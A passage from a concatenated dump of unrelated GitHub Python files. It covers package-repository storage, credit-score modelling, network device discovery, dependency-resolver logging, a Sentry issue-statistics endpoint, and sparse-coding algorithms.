restoreContents, isConfig,\n precompressed = precompressed)\n\n # remove the specified file\n def removeFile(self, pathId, fileId):\n stream = self.repos.getFileStream(fileId)\n sha1 = None\n if files.frozenFileHasContents(stream):\n flags = files.frozenFileFlags(stream)\n if flags.isConfig():\n contentInfo = files.frozenFileContentInfo(stream)\n sha1 = contentInfo.sha1()\n\n self.oldFile(pathId, fileId, sha1)\n\n def iterDbRemovals(self):\n return self.replacedFiles.iteritems()\n\n def __init__(self, repos, cs, callback, autoPinList,\n allowIncomplete = False, replaceFileCheck = False,\n userReplaced = None, sharedFiles = {}):\n assert(not cs.isAbsolute())\n\n self.cs = cs\n self.repos = repos\n self.oldTroves = []\n self.oldFiles = []\n self.trovesAdded = []\n self.autoPinList = autoPinList\n\n repository.ChangeSetJob.__init__(self, repos, cs, callback = callback,\n allowIncomplete=allowIncomplete)\n\n for name, version, flavor in self.oldTroveList():\n self.repos.eraseTrove(name, version, flavor)\n\n for (pathId, fileVersion, sha1) in self.oldFileList():\n self.repos.eraseFileVersion(pathId, fileVersion)\n\n if userReplaced:\n self.repos.db.db.markUserReplacedFiles(userReplaced)\n\n # this raises an exception if this install would create conflicts\n self.replacedFiles = self.repos.db.db.checkPathConflicts(\n self.trovesAdded, replaceFileCheck,\n sharedFiles)\n\n for (pathId, fileVersion, sha1) in self.oldFileList():\n if sha1 is not None:\n self.repos._removeFileContents(sha1)\n\nclass SqlDataStore(datastore.AbstractDataStore):\n\n \"\"\"\n Implements a DataStore interface on a sql database. File contents are\n stored directly in the sql database.\n \"\"\"\n\n def hasFile(self, hash):\n if len(hash) != 40:\n hash = sha1helper.sha1ToString(hash)\n cu = self.db.cursor()\n cu.execute(\"SELECT COUNT(*) FROM DataStore WHERE hash=?\", hash)\n return (cu.next()[0] != 0)\n\n def decrementCount(self, hash):\n \"\"\"\n Decrements the count by one; it it becomes 1, the count file\n is removed. If it becomes zero, the contents are removed.\n \"\"\"\n if len(hash) != 40:\n hash = sha1helper.sha1ToString(hash)\n cu = self.db.cursor()\n cu.execute(\"SELECT count FROM DataStore WHERE hash=?\", hash)\n count = cu.next()[0]\n if count == 1:\n cu.execute(\"DELETE FROM DataStore WHERE hash=?\", hash)\n else:\n count -= 1\n cu.execute(\"UPDATE DataStore SET count=? WHERE hash=?\",\n count, hash)\n\n def incrementCount(self, hash, fileObj = None, precompressed = True):\n \"\"\"\n Increments the count by one. If it becomes one (the file is\n new), the contents of fileObj are stored into that path.\n \"\"\"\n if len(hash) != 40:\n hash = sha1helper.sha1ToString(hash)\n cu = self.db.cursor()\n cu.execute(\"SELECT COUNT(*) FROM DataStore WHERE hash=?\", hash)\n exists = cu.next()[0]\n\n if exists:\n cu.execute(\"UPDATE DataStore SET count=count+1 WHERE hash=?\",\n hash)\n else:\n if precompressed:\n # it's precompressed as a gzip stream, and we need a\n # zlib stream. just decompress it.\n gzObj = gzip.GzipFile(mode = \"r\", fileobj = fileObj)\n rawData = gzObj.read()\n del gzObj\n else:\n rawData = fileObj.read()\n\n data = zlib.compress(rawData)\n digest = digestlib.sha1()\n digest.update(rawData)\n if digest.hexdigest() != hash:\n raise errors.IntegrityError\n\n cu.execute(\"INSERT INTO DataStore VALUES(?, 1, ?)\",\n hash, data)\n\n # add one to the reference count for a file which already exists\n # in the archive\n def addFileReference(self, hash):\n self.incrementCount(hash)\n\n # file should be a python file object seek'd to the beginning\n # this messes up the file pointer\n def addFile(self, f, hash, precompressed = True):\n self.incrementCount(hash, fileObj = f, precompressed = precompressed)\n\n # returns a python file object for the file requested\n def openFile(self, hash, mode = \"r\"):\n if len(hash) != 40:\n hash = sha1helper.sha1ToString(hash)\n cu = self.db.cursor()\n cu.execute(\"SELECT data FROM DataStore WHERE hash=?\", hash)\n data = cu.next()[0]\n data = zlib.decompress(data)\n return StringIO(data)\n\n def removeFile(self, hash):\n self.decrementCount(hash)\n\n def __init__(self, db):\n self.db = db\n schema.createDataStore(db)\n\ndef markChangedFiles(db, cs):\n \"\"\"\n Look for files that have been removed from a trove or restored to a trove,\n and mark those changes in the database. This is used to record local\n changes.\n \"\"\"\n for trvCs in cs.iterNewTroveList():\n ver = trvCs.getOldVersion()\n if ver.onLocalLabel():\n ver = trvCs.getNewVersion()\n\n # we only need the pathIds\n newPathIds = [ x[0] for x in trvCs.getNewFileList() ]\n db.restorePathIdsToTrove(trvCs.getName(), ver, trvCs.getOldFlavor(),\n newPathIds)\n\n oldPathIds = trvCs.getOldFileList()\n db.removePathIdsFromTrove(trvCs.getName(), ver, trvCs.getOldFlavor(),\n oldPathIds)\n","repo_name":"sassoftware/conary","sub_path":"conary/local/localrep.py","file_name":"localrep.py","file_ext":"py","file_size_in_byte":9378,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"48"} +{"seq_id":"11596884457","text":"#用户:jasmineHuang\n\n#日期:2019-02-24\n\n#时间:14:21\n\n#文件名称:PyCharm\n\nimport pandas as pd\nimport numpy as np\nimport pylab\npylab.mpl.rcParams['font.sans-serif'] = ['SimHei']\npylab.mpl.rcParams['axes.unicode_minus'] = False\npd.set_option('display.max_columns',None)\n\ntrain = pd.read_csv('train_dataset.csv')\ntest = pd.read_csv('test_dataset.csv')\n\n#EDA\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nplt.figure(figsize=(12,12))\nplt.subplot(2,2,1)\nsns.distplot(train['用户年龄'],bins=20,kde=False,hist_kws={'color':'steelblue'})\nplt.subplot(2,2,2)\nsns.distplot(train['用户网龄(月)'],bins=20,kde=False,hist_kws={'color':'blue'})\nplt.subplot(2,2,3)\nsns.distplot(train['缴费用户最近一次缴费金额(元)'],bins=20,kde=False,hist_kws={\n 'color':'red'})\nplt.subplot(2,2,4)\nsns.distplot(train['当月通话交往圈人数'],bins=20,kde=False,hist_kws={'color':'green'})\nplt.show()\n\n#剔除用户年龄小于5的\ntrain=train[train['用户年龄']>5]\nsns.distplot(train['信用分'],bins=30)\nplt.show()\n\n#相关性分析\ncorr=train.corr()\nplt.figure(figsize=(12,9))\nk=10\ncols=corr.nlargest(k,'信用分')['信用分'].index\nprint(cols)\ncm=np.corrcoef(train[cols].values.T)\nprint(cm)\nsns.set(font_scale=1.25)\nsns.heatmap(cm,cbar=True,annot=True,square=True,fmt='.2f',annot_kws={\n 'size':10},yticklabels=cols.values,xticklabels=cols.values)\nplt.show()\n\n#删除高相关中的一个变量\ntrain.drop('用户账单当月总费用(元)',axis=1,inplace=True)\ntest.drop('用户账单当月总费用(元)',axis=1,inplace=True)\n\n#提取特征\ndef simple_features(df):\n df = df.copy()\n df['次数'] = df['当月网购类应用使用次数'] + df['当月物流快递类应用使用次数'] + df['当月金融理财类应用使用总次数'] + \\\n df['当月视频播放类应用使用次数'] \\\n + df['当月飞机类应用使用次数'] + df['当月火车类应用使用次数'] + df['当月旅游资讯类应用使用次数']\n df['交通工具类应用次数']=df['当月飞机类应用使用次数'] + df['当月火车类应用使用次数']\n\n for col in ['当月金融理财类应用使用总次数' , '当月旅游资讯类应用使用次数']: # 这两个比较积极向上一点\n df[col + '百分比'] = df[col].values / (df['次数'].values+1)\n\n df['用户上网年龄百分比'] = df['用户网龄(月)'] / (df['用户年龄']+1)\n df['通话人均时长']=df['用户近6个月平均消费值(元)']/df['当月通话交往圈人数']\n df[\"是否不良客户\"] = df[\"是否黑名单客户\"] + df[\"是否4G不健康客户\"]\n\n return df\n\ntrain=simple_features(train)\ntest=simple_features(test)\n\n#使用分段年龄\nx1=train['用户年龄']\ncut=np.arange(5,115,5)\nx = np.array(x1)\nbins = np.array(cut)\ncut_age_labels = np.digitize(x , bins)\ntrain['用户年龄已分段'] = cut_age_labels\nt1=test['用户年龄']\nt = np.array(t1)\nt_cut_age_labels=np.digitize(t,bins)\ntest['用户年龄已分段'] = t_cut_age_labels\n\n#使用通话人数分段\nx2=train['当月通话交往圈人数']\ncut=np.arange(0,1660,10)\nx = np.array(x2)\nbins = np.array(cut)\ncut_tonghua_labels = np.digitize(x , bins)\ntrain['当月通话交往圈人数已分段'] = cut_age_labels\nt2=test['当月通话交往圈人数']\nt = np.array(t2)\nt_cut_age_labels=np.digitize(t,bins)\ntest['当月通话交往圈人数已分段'] = t_cut_age_labels\n\n#获取训练和测试集\ny_train=train['信用分']\ntrain.drop(['信用分','用户编码'],axis=1,inplace=True)\nx_train=train\nsubmit=pd.DataFrame()\nsubmit['id']=test['用户编码']\ntest.drop(['用户编码'],axis=1,inplace=True)\nx_test=test\nprint(x_test.info())\nprint(x_test.describe())\nprint(x_test.isnull().sum().sort_values(ascending=False).head(10))\n\n#用XGBoost进行训练和预测\nimport xgboost as xgb\n#dataTrain = xgb.DMatrix(x_train,label=y_train)\n#dataTest = xgb.DMatrix(x_test)\nmodel = xgb.XGBRegressor()\nmodel.fit(x_train,y_train)\nsubmit['score'] = model.predict(x_test).astype('int')\nsubmit.to_csv('submit_5.csv',index=False,encoding='utf-8')\n\n#得分0.06155120000,提交时间:2019/02/24 15:11","repo_name":"jasminehuang10/IntelligentScoringofCredits","sub_path":"IntelligentScoringofCredits.py","file_name":"IntelligentScoringofCredits.py","file_ext":"py","file_size_in_byte":4136,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31301879499","text":"import logging\n\nfrom ssp.chassis.common.scanner import COM_SCANNER\nimport ssp.chassis\n\n__all__ = [ \"Scanner\" ]\nLOG = logging.getLogger(\"hw.chassis.scanner\")\n\n\nclass Scanner:\n\t\"\"\"Represents the scanner able to discover potential service processors on the local network.\"\"\"\n\n\t__name = None\n\t\"\"\"Name of the scanner.\"\"\"\n\n\t__scanners = None\n\t\"\"\"A list of active scan methods.\"\"\"\n\n\tdef __init__(self):\n\t\tself.__name = c2.misc.get_host_name()\n\t\tself.__scanners = {}\n\n\t\tfor module_name in c2.hw.chassis.__scanners__:\n\t\t\tmodule = __import__(\"c2.hw.chassis.\" + module_name)\n\t\t\t#for action_name, action_handler in module.ACTIONS.iteritems():\n\t\t\t#\tself.__actions[\"{0}.{1}\".format(module_name, action_name)] = action_handler\n\t\tfor scanner in COM_SCANNER.__subclasses__():\n\t\t\tself.__scanners[scanner.name] = scanner\n\n\n\tdef scan(self):\n\t\t\"\"\"Returns the garbage collector object.\"\"\"\n\t\tall={}\n\t\tfor s in self.__scanners.keys():\n\t\t\tscanner=self.__scanners[s]()\n\t\t\tr=scanner.scan()\n\t\t\tfor rip in r.keys():\n\t\t\t\tif rip in all.keys():\n\t\t\t\t\tall[rip]['proto'].update(r[rip]['proto'])\n\t\t\t\t\tall[rip]['scanners'].append(r[rip]['scanners'])\n\t\t\t\telse:\n\t\t\t\t\tall[rip]=r[rip]\n\t\treturn all\n","repo_name":"mdcic/ssp","sub_path":"ssp/scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42805376674","text":"from rich.console import Console\nfrom rich.table import Table\nfrom resolvelib import BaseReporter\n\n\nclass DebugReporter(BaseReporter):\n console = Console()\n\n def _log(self, *args, **kwargs):\n self.console.log(*args, **kwargs)\n\n def starting(self):\n self._log(\"starting resolution\")\n\n def starting_round(self, index):\n self.console.rule(f\"[yellow]Started [bold]Round {index}\", align=\"left\")\n\n def ending_round(self, index, state):\n table = Table(title=f\"State after Round [bold]#{index}[/]\")\n\n table.add_column(\"Status\")\n table.add_column(\"Title\")\n table.add_column(\"Type\")\n table.add_column(\"Version\")\n table.add_column(\"Requested By\")\n\n for identifier, criterion in state.criteria.items():\n if identifier in state.mapping:\n candidate = state.mapping[identifier]\n status = \":white_check_mark:\"\n if candidate.is_wheel:\n typ = \":package: wheel\"\n else:\n typ = \":open_file_folder: sdist\"\n version = str(candidate.version)\n else:\n status = \":hourglass_not_done:\"\n typ = \"?\"\n version = \"?\"\n requested_by = \", \".join([p.name for p in criterion.iter_parent() if p])\n table.add_row(status, str(identifier), typ, version, requested_by)\n\n self._log(table)\n\n def adding_requirement(self, requirement, parent):\n self._log(\"add requirement\", requirement, \"via\", parent)\n\n def resolving_conflicts(self, causes):\n self._log(\"resolving conflicts:\", causes)\n\n def rejecting_candidate(self, criterion, candidate):\n self._log(\"rejecting\", candidate, \"because\", criterion)\n\n def pinning(self, candidate):\n self._log(\"pinning candidate:\", candidate)\n","repo_name":"phaer/untangled_snakes","sub_path":"untangled_snakes/reporters.py","file_name":"reporters.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"30196849021","text":"import sys\n\nedges = {}\nfor line in sys.stdin:\n v1, v2 = line.strip().split(\"-\")\n if v1 not in edges:\n edges[v1] = []\n edges[v1].append(v2)\n\n if v2 not in edges:\n edges[v2] = []\n edges[v2].append(v1)\n\nmemo = {}\ndef walk(v: str, path: tuple, double_lower: bool):\n if v == \"end\":\n return 1\n\n if v in path:\n if v == \"start\":\n return 0\n if v.islower():\n if double_lower:\n return 0\n double_lower = True\n\n path = path + (v,)\n if path in memo:\n return memo[path]\n\n total = 0\n for other_v in edges[v]:\n total += walk(other_v, path, double_lower)\n\n memo[path] = total\n return total\n\nprint(walk(\"start\", (), False))\n","repo_name":"FabijanC/advent-of-code","sub_path":"year2021/day12/sol2.py","file_name":"sol2.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44210186136","text":"from s_tool.driver import SeleniumDriver\n\nfrom . import TEST_URL\n\n\ndef test_select_box():\n \"\"\"test dropdown selection options\"\"\"\n with SeleniumDriver(\"firefox\", headless=True) as obj:\n obj.get(TEST_URL)\n\n select_value = \"1\"\n obj.fill({\"select_dropdown\": select_value})\n element = obj.element(\"select_dropdown\", \"name\")\n for ele in element.find_elements_by_tag_name(\"option\"):\n if ele.text == \"One\":\n assert ele.is_selected() is True\n","repo_name":"simrit1/s-tool","sub_path":"tests/test_elements.py","file_name":"test_elements.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"34545129047","text":"import torch\nimport torch.nn as nn\n\nfrom model.mlps import DenseBlock\n\nclass FilmParameterGenerator(nn.Module):\n \"\"\"\n Class for generating FiLM parameters for a base feature extractor. Used when --adapt_features is True.\n \"\"\"\n def __init__(self, film_parameter_sizes, initial_film_parameters, pooled_size, hidden_size):\n super().__init__()\n self.initial_film_parameters = initial_film_parameters\n self.film_parameter_names = list(self.initial_film_parameters.keys())\n self.film_parameter_names.sort()\n self.generators = nn.ModuleList()\n self.regularizers = nn.ParameterList()\n\n for i, film_param_name in enumerate(self.film_parameter_names):\n self.generators.append(self._make_generator(pooled_size, hidden_size, film_parameter_sizes[film_param_name]))\n self.regularizers.append(nn.Parameter(nn.init.normal_(torch.empty(film_parameter_sizes[film_param_name]), 0, 0.001),\n requires_grad=True))\n\n self.l2_term = 0.0\n\n def _apply(self, fn): # ensures self.initial_film_parameters is moved to device\n super(FilmParameterGenerator, self)._apply(fn)\n self.initial_film_parameters = { k: fn(v) for k,v in self.initial_film_parameters.items()}\n return self\n\n def _make_generator(self, pooled_size, hidden_size, out_size):\n return DenseBlock(pooled_size, hidden_size, out_size)\n\n def regularization_term(self):\n return self.l2_term\n\n def forward(self, x):\n film_dict = {}\n self.l2_term = 0.0\n for i, film_param_name in enumerate(self.film_parameter_names):\n if 'weight' in film_param_name:\n generated_weight = self.generators[i](x).squeeze() * self.regularizers[i] + torch.ones_like(self.regularizers[i])\n new_film_param = self.initial_film_parameters[film_param_name] * generated_weight\n elif 'bias' in film_param_name:\n generated_bias = self.generators[i](x).squeeze() * self.regularizers[i]\n new_film_param = self.initial_film_parameters[film_param_name] + generated_bias\n self.l2_term += (self.regularizers[i] ** 2).sum() # not exactly the same as weight decay as we are not taking the square root\n film_dict[film_param_name] = new_film_param\n return film_dict\n \nclass NullGenerator(nn.Module):\n \"\"\"\n Class for a null film generator network when --adapt_features is False\n \"\"\"\n def __init__(self):\n \"\"\"\n Creates instances of NullGenerator.\n :return: Nothing.\n \"\"\"\n super().__init__()\n\n def forward(self, x):\n return {}\n\n def regularization_term(self):\n return 0\n","repo_name":"microsoft/ORBIT-Dataset","sub_path":"model/feature_adapters.py","file_name":"feature_adapters.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"48"} +{"seq_id":"4704926770","text":"import copy\nfrom datetime import timedelta\nfrom itertools import chain\n\nfrom django.db.models import (\n Count,\n Exists,\n ExpressionWrapper,\n F,\n IntegerField,\n Min,\n OuterRef,\n Q,\n Subquery,\n)\nfrom django.db.models.functions import Coalesce, TruncDay\nfrom django.utils import timezone\nfrom rest_framework.request import Request\nfrom rest_framework.response import Response\n\nfrom sentry import features\nfrom sentry.api.base import EnvironmentMixin\nfrom sentry.api.bases.team import TeamEndpoint\nfrom sentry.api.utils import get_date_range_from_params\nfrom sentry.models import Group, GroupHistory, GroupHistoryStatus, GroupStatus, Project, Team\nfrom sentry.models.grouphistory import RESOLVED_STATUSES, UNRESOLVED_STATUSES\n\nOPEN_STATUSES = UNRESOLVED_STATUSES + (GroupHistoryStatus.UNIGNORED,)\nCLOSED_STATUSES = RESOLVED_STATUSES + (GroupHistoryStatus.IGNORED,)\n\n\nclass TeamAllUnresolvedIssuesEndpoint(TeamEndpoint, EnvironmentMixin): # type: ignore\n def get(self, request: Request, team: Team) -> Response:\n \"\"\"\n Returns cumulative counts of unresolved groups per day within the stats period time range.\n Response:\n {\n : {\n : {\"unresolved\": },\n ...\n }\n ...\n }\n \"\"\"\n if not features.has(\"organizations:team-insights\", team.organization, actor=request.user):\n return Response({\"detail\": \"You do not have the insights feature enabled\"}, status=400)\n\n # Team has no projects\n project_list = Project.objects.get_for_team_ids(team_ids=[team.id])\n if len(project_list) == 0:\n return Response({})\n\n start, end = get_date_range_from_params(request.GET)\n end = end.replace(hour=0, minute=0, second=0, microsecond=0) + timedelta(days=1)\n start = start.replace(hour=0, minute=0, second=0, microsecond=0) + timedelta(days=1)\n\n # First we get the count of unresolved groups from before we were writing `GroupHistory`\n # records. This will be reasonably accurate but not perfect.\n oldest_history_date = GroupHistory.objects.filter_to_team(team).aggregate(\n Min(\"date_added\"),\n )[\"date_added__min\"]\n\n if oldest_history_date is None:\n oldest_history_date = timezone.now()\n\n project_unresolved = {\n r[\"project\"]: r[\"unresolved\"]\n for r in (\n Group.objects.filter_to_team(team)\n .filter(first_seen__lt=oldest_history_date)\n .values(\"project\")\n .annotate(\n total=Count(\"id\"),\n resolved=Count(\"id\", filter=Q(resolved_at__lt=oldest_history_date)),\n )\n .annotate(\n unresolved=ExpressionWrapper(\n F(\"total\") - F(\"resolved\"), output_field=IntegerField()\n )\n )\n )\n }\n\n project_ignored = {\n r[\"project\"]: r[\"total\"]\n for r in (\n Group.objects.filter_to_team(team)\n .annotate(\n ignored_exists=Exists(\n GroupHistory.objects.filter(\n group_id=OuterRef(\"id\"),\n status__in=[GroupHistoryStatus.IGNORED, GroupHistoryStatus.UNIGNORED],\n ),\n ),\n )\n .filter(ignored_exists=False, status=GroupStatus.IGNORED)\n .values(\"project\")\n .annotate(\n total=Count(\"id\"),\n )\n )\n }\n for project, ignored in project_ignored.items():\n if project not in project_unresolved:\n # This shouldn't be able to happen since the project should already be included,\n # but just being defensive.\n continue\n project_unresolved[project] = max(project_unresolved[project] - ignored, 0)\n\n # TODO: We could write a query to fetch any unignored GroupHistory rows that don't have\n # a corresponding ignored row. This would imply that the Group was ignored before we had\n # history of it happening, and we could use that to help determine initial ignored count.\n # Might not be as important as the general ignored detection above.\n\n prev_status_sub_qs = Coalesce(\n Subquery(\n GroupHistory.objects.filter(\n group_id=OuterRef(\"group_id\"),\n date_added__lt=OuterRef(\"date_added\"),\n status__in=OPEN_STATUSES + CLOSED_STATUSES,\n )\n .order_by(\"-id\")\n .values(\"status\")[:1]\n ),\n -1,\n )\n dedupe_status_filter = Q(\n (~Q(prev_status__in=OPEN_STATUSES) & Q(status__in=OPEN_STATUSES))\n | (~Q(prev_status__in=CLOSED_STATUSES) & Q(status__in=CLOSED_STATUSES))\n )\n\n # Next, if there's data in the group history table before the stats period then grab that\n # and use it to help calculate the initial unresolved value\n if oldest_history_date < start:\n new_for_projects = (\n Group.objects.filter_to_team(team)\n .filter(\n first_seen__gte=oldest_history_date,\n first_seen__lt=start,\n )\n .values(\"project\")\n .annotate(open=Count(\"id\"))\n )\n initial_project_history_counts = (\n GroupHistory.objects.filter_to_team(team)\n .filter(\n date_added__gte=oldest_history_date,\n date_added__lt=start,\n )\n .annotate(prev_status=prev_status_sub_qs)\n .filter(dedupe_status_filter)\n .values(\"project\")\n .annotate(\n reopened=Count(\"id\", filter=Q(status__in=OPEN_STATUSES)),\n closed=Count(\"id\", filter=Q(status__in=CLOSED_STATUSES)),\n )\n )\n for row in new_for_projects:\n project_unresolved.setdefault(row[\"project\"], 0)\n project_unresolved[row[\"project\"]] += row[\"open\"]\n for row in initial_project_history_counts:\n project_unresolved.setdefault(row[\"project\"], 0)\n project_unresolved[row[\"project\"]] += row[\"reopened\"] - row[\"closed\"]\n\n # Just a failsafe to make sure we haven't gone below 0\n for project in list(project_unresolved.keys()):\n project_unresolved[project] = max(0, project_unresolved[project])\n\n # Now we grab the rest of the data bucketed by day\n new_issues = (\n Group.objects.filter_to_team(team)\n .filter(\n first_seen__gte=start,\n first_seen__lt=end,\n )\n .annotate(bucket=TruncDay(\"first_seen\"))\n .order_by(\"bucket\")\n .values(\"project\", \"bucket\")\n .annotate(open=Count(\"id\"))\n )\n\n bucketed_issues = (\n GroupHistory.objects.filter_to_team(team)\n .filter(\n date_added__gte=start,\n date_added__lte=end,\n )\n .annotate(\n bucket=TruncDay(\"date_added\"),\n prev_status=prev_status_sub_qs,\n )\n .filter(dedupe_status_filter)\n .order_by(\"bucket\")\n .values(\"project\", \"bucket\")\n .annotate(\n open=Count(\"id\", filter=Q(status__in=OPEN_STATUSES)),\n closed=Count(\"id\", filter=Q(status__in=CLOSED_STATUSES)),\n )\n )\n\n current_day, date_series_dict = start, {}\n while current_day < end:\n date_series_dict[current_day.isoformat()] = {\"open\": 0, \"closed\": 0}\n current_day += timedelta(days=1)\n\n agg_project_precounts = {\n project.id: copy.deepcopy(date_series_dict) for project in project_list\n }\n for r in chain(bucketed_issues, new_issues):\n bucket = agg_project_precounts[r[\"project\"]][r[\"bucket\"].isoformat()]\n bucket[\"open\"] += r.get(\"open\", 0)\n bucket[\"closed\"] += r.get(\"closed\", 0)\n\n agg_project_counts = {}\n\n for project, precounts in agg_project_precounts.items():\n open = project_unresolved.get(project, 0)\n sorted_bucket_keys = sorted(precounts.keys())\n project_counts = {}\n for bucket_key in sorted_bucket_keys:\n bucket = precounts[bucket_key]\n open = max(open + bucket[\"open\"] - bucket[\"closed\"], 0)\n project_counts[bucket_key] = {\"unresolved\": open}\n agg_project_counts[project] = project_counts\n\n return Response(agg_project_counts)\n","repo_name":"Junior233/sentry","sub_path":"src/sentry/api/endpoints/team_all_unresolved_issues.py","file_name":"team_all_unresolved_issues.py","file_ext":"py","file_size_in_byte":8951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"70221605906","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.interpolate import interp1d\n\nmodel_name_list = [\"GAE\", \"SDCN\", \"DFCN\", \"DCRN\", \"AGCDRR\", \"CCGC\", \"HSAN\", \"DGAE\"]\nmarkers = ['.', 'o', 's', '<', '>', '^', 'p', '*']\ncolors = [\"steelblue\", \"coral\", \"forestgreen\", \"grey\", \"darkorchid\", \"sienna\", \"violet\", \"crimson\"]\nplt_acc = plt.figure(figsize=(1, 1), dpi=500)\nfor i in range(len(model_name_list)):\n model_name = model_name_list[i]\n acc_path = f\"./performance/acc/{model_name}.npy\"\n # loss_path = f\"./performance/loss/{model_name}.npy\"\n acc = np.load(acc_path)\n if model_name == \"CCGC\":\n x = [i for i in range(1, len(acc) + 1)]\n f = interp1d(x, acc, kind='linear')\n x_new = np.linspace(min(x), max(x), num=102)\n y_smooth = f(x_new)\n else:\n x = [i for i in range(1, 51)]\n f = interp1d(x, acc, kind='linear')\n x_new = np.linspace(min(x), max(x), num=150)\n y_smooth = f(x_new)\n line, = plt.plot(x_new, y_smooth, label=model_name, color=colors[i], marker=markers[i], markevery=10, markersize=4)\n if model_name == \"DGAE\":\n line.set_label(\"Ours\")\n\nfont_legend = {'family': 'Times New Roman',\n 'weight': 'normal',\n 'size': 8,\n }\n\nplt.xlabel(\"Iterations\", fontproperties='Times New Roman', fontsize=15)\nplt.ylabel(\"Accuracy\", fontproperties='Times New Roman', fontsize=15)\n\nplt.yticks(fontproperties='Times New Roman', size=12)\nplt.xticks(fontproperties='Times New Roman', size=12)\nplt.legend(loc=\"lower right\", prop=font_legend)\n# plt.show()\nplt.savefig(\"./performance/acc/acc_1000.pdf\")\n","repo_name":"Marigoldwu/GCMA","sub_path":"utils/plot_performance.py","file_name":"plot_performance.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"44862150606","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n\n@author: CHAGUER Badreddine\n\"\"\"\nimport scipy\nimport numpy as np\nfrom algorithms.data_utils import split_data\nfrom sklearn.metrics import mean_squared_error\n\ndef normalize_dictionary(X):\n \"\"\"\n Normalize matrix to have unit l2-norm columns\n\n Parameters\n ----------\n X : np.ndarray [n, d]\n Matrix to be normalized\n\n Returns\n -------\n X_normalized : np.ndarray [n, d]\n Normalized matrix\n norm_coefs : np.ndarray [d]\n Normalization coefficients (i.e., l2-norm of each column of ``X``)\n \"\"\"\n # Check arguments\n assert isinstance(X, np.ndarray)\n assert X.ndim == 2\n \n norm = []\n X_normed = np.zeros((np.shape(X)))\n N = range(np.shape(X)[1])\n for i in N :\n norm.append(np.linalg.norm(X[:,i], 2)) \n X_normed[:,i]= X[:,i]/norm[i]\n \n return X_normed, norm\n\n\n\ndef ridge_regression(X, y, lambda_ridge):\n \"\"\"\n Ridge regression estimation\n\n Minimize $\\left\\| X w - y\\right\\|_2^2 + \\lambda \\left\\|w\\right\\|_2^2$\n with respect to vector $w$, for $\\lambda > 0$ given a matrix $X$ and a\n vector $y$.\n\n Note that no constant term is added.\n\n Parameters\n ----------\n X : np.ndarray [n, d]\n Data matrix composed of ``n`` training examples in dimension ``d``\n y : np.ndarray [n]\n Labels of the ``n`` training examples\n lambda_ridge : float\n Non-negative penalty coefficient\n\n Returns\n -------\n w : np.ndarray [d]\n Estimated weight vector\n \"\"\"\n # Check arguments\n assert X.ndim == 2\n n_samples, n_features = X.shape\n assert y.ndim == 1\n assert y.size == n_samples\n \n\n X_hat = np.dot(np.transpose(X), X) + lambda_ridge*np.identity(np.shape(X)[1])\n return np.dot(X_hat, np.dot(np.transpose(X),y))\n\n\ndef mp(X, y, n_iter):\n \"\"\"\n Matching pursuit algorithm\n\n Parameters\n ----------\n X : np.ndarray [n, d]\n Dictionary, or data matrix composed of ``n`` training examples in\n dimension ``d``. It should be normalized to have unit l2-norm\n columns before calling the algorithm.\n y : np.ndarray [n]\n Observation vector, or labels of the ``n`` training examples\n n_iter : int\n Number of iterations\n\n Returns\n -------\n w : np.ndarray [d]\n Estimated sparse vector\n error_norm : np.ndarray [n_iter+1]\n Vector composed of the norm of the residual error at the beginning\n of the algorithm and at the end of each iteration\n \"\"\"\n # Check arguments\n assert X.ndim == 2\n n_samples, n_features = X.shape\n assert y.ndim == 1\n assert y.size == n_samples\n\n #init du résiduel\n r= y \n #init de w\n w = np.zeros(np.shape(X)[1])\n \n error_norm = np.zeros(n_iter + 1) \n error_norm[0] = np.linalg.norm(r)\n \n k = 0\n for k in range(1, n_iter):\n #Calcul des corrélations du résiduel et des composantes}\n c_m = (X.T).conjugate() @ r \n \n #Sélection de la composante la plus corrélée\n m_hat = np.argmax(np.abs(c_m))\n \n #Mise à jour de la décomposition\n w[m_hat] = w[m_hat] + c_m[m_hat] \n \n #Mise à jour du résiduel\n r= r - c_m[m_hat] * X[ :, m_hat]\n \n error_norm[k]=np.linalg.norm(r) \n return w, error_norm\n\n\ndef omp(X, y, n_iter):\n \"\"\"\n Orthogonal matching pursuit algorithm\n\n Parameters\n ----------\n X : np.ndarray [n, d]\n Dictionary, or data matrix composed of ``n`` training examples in\n dimension ``d``. It should be normalized to have unit l2-norm\n columns before calling the algorithm.\n y : np.ndarray [n]\n Observation vector, or labels of the ``n`` training examples\n n_iter : int\n Number of iterations\n\n Returns\n -------\n w : np.ndarray [d]\n Estimated sparse vector\n error_norm : np.ndarray [n_iter+1]\n Vector composed of the norm of the residual error at the beginning\n of the algorithm and at the end of each iteration\n \"\"\"\n # Check arguments\n assert X.ndim == 2\n n_samples, n_features = X.shape\n assert y.ndim == 1\n assert y.size == n_samples\n\n #init du résiduel\n r= y\n \n #init de w\n w = np.zeros(np.shape(X)[1])\n \n error_norm = np.zeros(n_iter + 1) \n error_norm[0] = np.linalg.norm(r)\n \n #support de la décomposition\n omega = []\n \n k = 0\n for k in range(1, n_iter):\n #Calcul des corrélations du résiduel et des composantes}\n c_m = (X.T).conjugate() @ r \n \n #Sélection de la composante la plus corrélée\n m_hat = np.argmax(np.abs(c_m))\n \n #Mise à jour du support\n omega.append(m_hat)\n \n #Mise à jour de la décomposition\n w[m_hat] = np.dot(X[:,k], y)\n \n #Mise à jour 